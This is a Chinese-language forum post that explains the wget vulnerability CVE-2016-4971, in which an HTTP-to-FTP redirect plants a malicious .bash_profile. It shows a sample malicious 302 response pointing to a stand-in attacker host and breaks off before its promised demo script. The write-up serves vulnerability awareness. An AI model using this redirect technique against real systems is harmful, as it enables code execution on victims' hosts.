Wget漏洞（CVE-2016-4971）利用方式解析

Jumbo · 发表于 2016-7-5 10:14:03

本帖最后由 Jumbo 于 2016-7-5 10:17 编辑

漏洞描述

近日， CVE-2016-4971漏洞被正式披露，该漏洞影响全部旧版本wget, 黑客可以利用此漏洞对程序员和运维工程师进行钓鱼，从而获得其主机权限或者植入rootkit。

漏洞详情

wget 作为*nix 系统常用下载工具，支持http、https、ftp 等多种协议，当使用wget 下载文件时，若初始下载http服务提供的下载资源，如果服务器将下载资源重定向到ftp服务时，wget 会默认信赖http服务器重定向的ftp 链接地址和文件名，而不做二次验证。从而可能下载到恶意钓鱼者的恶意文件，导致主机被入侵。

比如，当我们访问 wget http://attackers-server/safe_file.txt 时，若http server 返回如下响应头。

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://attackers-server/.bash_profile
Content-Length: 262
Server: Apache

复制代码

同时我们在自己的目录下执行wget 请求，且当前home目录下不含有.bash_profile ，则我们会在自己系统home目录下下载到这个.bash_profile, 。恶意钓鱼者可以在此bash_profile 文件中写入任何恶意代码，并且我们再次启动shell 时恶意代码就会执行，从而导致我们的主机被入侵。

具体攻击实例演示

当前演示主机上wget 版本如下:

[/url]

我们写一个简单的http下载服务, 命名为testWget.py